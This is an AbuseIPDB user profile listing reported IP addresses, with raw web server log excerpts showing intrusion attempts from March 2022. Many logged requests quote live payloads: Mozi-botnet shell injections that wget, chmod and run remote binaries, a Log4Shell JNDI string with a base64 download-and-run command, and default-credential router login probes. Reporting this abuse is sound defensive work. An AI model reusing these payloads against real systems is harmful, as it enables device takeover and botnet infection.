AbuseIPDB

JavaScript is disabled. Some features of this site may not work properly. For a smoother experience, please enable JavaScript in your browser settings.

User darkknight darkknight joined AbuseIPDB in November 2021 and has reported 462 IP addresses.

Standing (weight) is good.

INACTIVE USER

IP	Date	Comment	Categories
🇮🇳 202.14.122.90	25 Mar 2022	202.14.122.90 - - [24/Mar/2022:12:00:48 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1: ... show more 202.14.122.90 - - [24/Mar/2022:12:00:48 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 10250 "-" "Hello, world" show less	Brute-Force
🇨🇳 110.177.181.95	25 Mar 2022	110.177.181.95 - - [24/Mar/2022:14:34:12 -0400] "CONNECT www.so.com:443 HTTP/1.1" 403 10084 "-" "Pyc ... show more 110.177.181.95 - - [24/Mar/2022:14:34:12 -0400] "CONNECT www.so.com:443 HTTP/1.1" 403 10084 "-" "PycURL/7.43.0 libcurl/7.47.0 GnuTLS/3.4.10 zlib/1.2.8 libidn/1.32 librtmp/2.3" show less	Exploited Host
🇳🇱 77.247.127.112	25 Mar 2022	45.85.190.62 - - [24/Mar/2022:17:43:25 -0400] "GET / HTTP/1.1" 403 10060 "t('${${env:NaN:-j}ndi${env ... show more 45.85.190.62 - - [24/Mar/2022:17:43:25 -0400] "GET / HTTP/1.1" 403 10060 "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//77.247.127.112:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTYwLjIwLjE0NS4yMjUvbmF0aW9uYWwvZG90c2gueDg2OyBjaG1vZCA3NzcgZG90c2gueDg2OyAuL2RvdHNoLng4NiBKRVdTIA==}')" "t('${${env:NaN:-j}ndi${env:NaN:-:}${env:NaN:-l}dap${env:NaN:-:}//77.247.127.112:1389/TomcatBypass/Command/Base64/d2dldCBodHRwOi8vMTYwLjIwLjE0NS4yMjUvbmF0aW9uYWwvZG90c2gueDg2OyBjaG1vZCA3NzcgZG90c2gueDg2OyAuL2RvdHNoLng4NiBKRVdTIA==}')" show less	Exploited Host
🇪🇬 41.232.76.67	25 Mar 2022	41.232.76.67 - - [25/Mar/2022:03:36:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaw ... show more 41.232.76.67 - - [25/Mar/2022:03:36:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10140 "-" "-" show less	Brute-Force
🇮🇳 64.227.137.251	24 Mar 2022	64.227.137.251 - - [24/Mar/2022:07:24:25 -0400] "GET /c/version.js HTTP/1.1" 404 10084 "-" "Mozilla/ ... show more 64.227.137.251 - - [24/Mar/2022:07:24:25 -0400] "GET /c/version.js HTTP/1.1" 404 10084 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 1046 64.227.137.251 - - [24/Mar/2022:07:24:30 -0400] "GET /streaming/clients_live.php HTTP/1.1" 404 10112 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" show less	Brute-Force
🇪🇬 156.219.58.52	24 Mar 2022	156.219.58.52 - - [24/Mar/2022:11:25:19 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/ja ... show more 156.219.58.52 - - [24/Mar/2022:11:25:19 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10142 "-" "-" show less	Brute-Force
🇨🇳 61.52.10.118	24 Mar 2022	61.52.10.118 - - [24/Mar/2022:04:21:25 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://61.52.10.118: ... show more 61.52.10.118 - - [24/Mar/2022:04:21:25 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://61.52.10.118:58928/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 10254 "-" "Hello, world" show less	Brute-Force
🇮🇳 59.178.88.191	24 Mar 2022	59.178.88.191 - - [24/Mar/2022:05:13:07 -0400] "GET /boaform/admin/formLogin?username=admin&psd=admi ... show more 59.178.88.191 - - [24/Mar/2022:05:13:07 -0400] "GET /boaform/admin/formLogin?username=admin&psd=admin HTTP/1.0" 404 10162 "-" "-" show less	Brute-Force
🇪🇬 156.196.30.246	24 Mar 2022	156.196.30.246 - - [24/Mar/2022:08:25:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/j ... show more 156.196.30.246 - - [24/Mar/2022:08:25:58 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10142 "-" "-" show less	Brute-Force
🇪🇬 41.232.202.219	24 Mar 2022	41.232.202.219 - - [23/Mar/2022:23:47:34 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/j ... show more 41.232.202.219 - - [23/Mar/2022:23:47:34 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10143 "-" "-" 14389 41.232.202.219 - - [23/Mar/2022:23:47:37 -0400] "GET /shell?cd+/tmp;rm+-rf+*;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10143 "-" "-" show less	Brute-Force
🇪🇬 156.221.139.253	24 Mar 2022	156.221.139.253 - - [23/Mar/2022:18:24:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/ ... show more 156.221.139.253 - - [23/Mar/2022:18:24:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10143 "-" "-" show less	Brute-Force
🇧🇷 189.7.107.108	23 Mar 2022	189.7.107.108 - - [18/Mar/2022:21:54:04 -0400] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 10 ... show more 189.7.107.108 - - [18/Mar/2022:21:54:04 -0400] "GET /php-my-admin/index.php?lang=en HTTP/1.1" 404 10118 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" 1899 189.7.107.108 - - [18/Mar/2022:21:54:04 -0400] "GET /php-myadmin/index.php?lang=en HTTP/1.1" 404 10116 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/93.0.4577.82 Safari/537.36" show less	Brute-Force
🇨🇳 113.86.239.24	23 Mar 2022	113.86.239.24 - - [19/Mar/2022:08:14:00 -0400] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HT ... show more 113.86.239.24 - - [19/Mar/2022:08:14:00 -0400] "GET /boaform/admin/formLogin?username=ec8&psd=ec8 HTTP/1.0" 404 10154 "-" "-" show less	Brute-Force
🇪🇬 156.204.172.25	23 Mar 2022	156.204.172.25 - - [21/Mar/2022:01:58:40 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/j ... show more 156.204.172.25 - - [21/Mar/2022:01:58:40 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10140 "-" "-" show less	Brute-Force
🇨🇳 182.113.175.16	23 Mar 2022	182.113.175.16 - - [21/Mar/2022:09:07:15 -0400] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 1010 ... show more 182.113.175.16 - - [21/Mar/2022:09:07:15 -0400] "POST /GponForm/diag_Form?images/ HTTP/1.1" 404 10101 "-" "Hello, World" show less	Brute-Force
🇭🇰 43.225.158.57	23 Mar 2022	43.225.158.57	Brute-Force
🇭🇰 128.1.131.120	23 Mar 2022	128.1.131.120 - - [20/Mar/2022:01:25:08 -0400] "-" 408 - "-" "-" 702 128.1.131.120 - - [20/Mar/ ... show more 128.1.131.120 - - [20/Mar/2022:01:25:08 -0400] "-" 408 - "-" "-" 702 128.1.131.120 - - [20/Mar/2022:01:25:16 -0400] "-" 408 - "-" "-" 703 128.1.131.120 - - [20/Mar/2022:01:25:16 -0400] "-" 408 - "-" "-" 704 128.1.131.120 - - [20/Mar/2022:01:25:32 -0400] "-" 408 - "-" "-" show less	DDoS Attack
🇨🇳 1.81.194.119	23 Mar 2022	1.81.194.119 - - [20/Mar/2022:08:27:33 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8 ... show more 1.81.194.119 - - [20/Mar/2022:08:27:33 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 404 10248 "-" "Hello, world" show less	Brute-Force
🇪🇬 41.45.125.8	23 Mar 2022	41.45.125.8 - - [20/Mar/2022:14:07:57 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws ... show more 41.45.125.8 - - [20/Mar/2022:14:07:57 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10140 "-" "-" show less	Brute-Force
🇨🇳 115.55.136.138	23 Mar 2022	115.55.136.138 - - [21/Mar/2022:06:06:15 -0400] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi ... show more 115.55.136.138 - - [21/Mar/2022:06:06:15 -0400] "27;wget%20http://%s:%d/Mozi.m%20-O%20->%20/tmp/Mozi.m;chmod%20777%20/tmp/Mozi.m;/tmp/Mozi.m%20dlink.mips%27$ HTTP/1.0" 400 10098 "-" "-" show less	Brute-Force
🇪🇬 197.56.156.42	23 Mar 2022	197.56.156.42 - - [22/Mar/2022:11:10:30 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/ja ... show more 197.56.156.42 - - [22/Mar/2022:11:10:30 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10141 "-" "-" show less	Brute-Force
🇪🇬 156.200.239.240	23 Mar 2022	156.200.239.240 - - [22/Mar/2022:21:28:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/ ... show more 156.200.239.240 - - [22/Mar/2022:21:28:14 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+ jswl.jdaili.xyz/jaws;sh+/tmp/jaws" 400 10141 "-" "-" show less	Brute-Force
🇨🇳 120.85.183.127	23 Mar 2022	120.85.183.127 - - [22/Mar/2022:11:27:32 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1 ... show more 120.85.183.127 - - [22/Mar/2022:11:27:32 -0400] "GET /shell?cd+/tmp;rm+-rf+;wget+http://192.168.1.1:8088/Mozi.a;chmod+777+Mozi.a;/tmp/Mozi.a+jaws HTTP/1.1" 403 10249 "-" "Hello, world" show less	Brute-Force
🇵🇰 110.38.131.246	21 Mar 2022	110.38.131.246 CRITICAL 403 920470: Illegal Content-Type header More 110.38.131.246 CRITICAL 40 ... show more 110.38.131.246 CRITICAL 403 920470: Illegal Content-Type header More 110.38.131.246 CRITICAL 403 949110: Inbound Anomaly Score Exceeded (Total Score: 5) More show less	Web App Attack
🇺🇦 37.115.201.193	21 Mar 2022	930120: OS File Access Attempt More	Brute-Force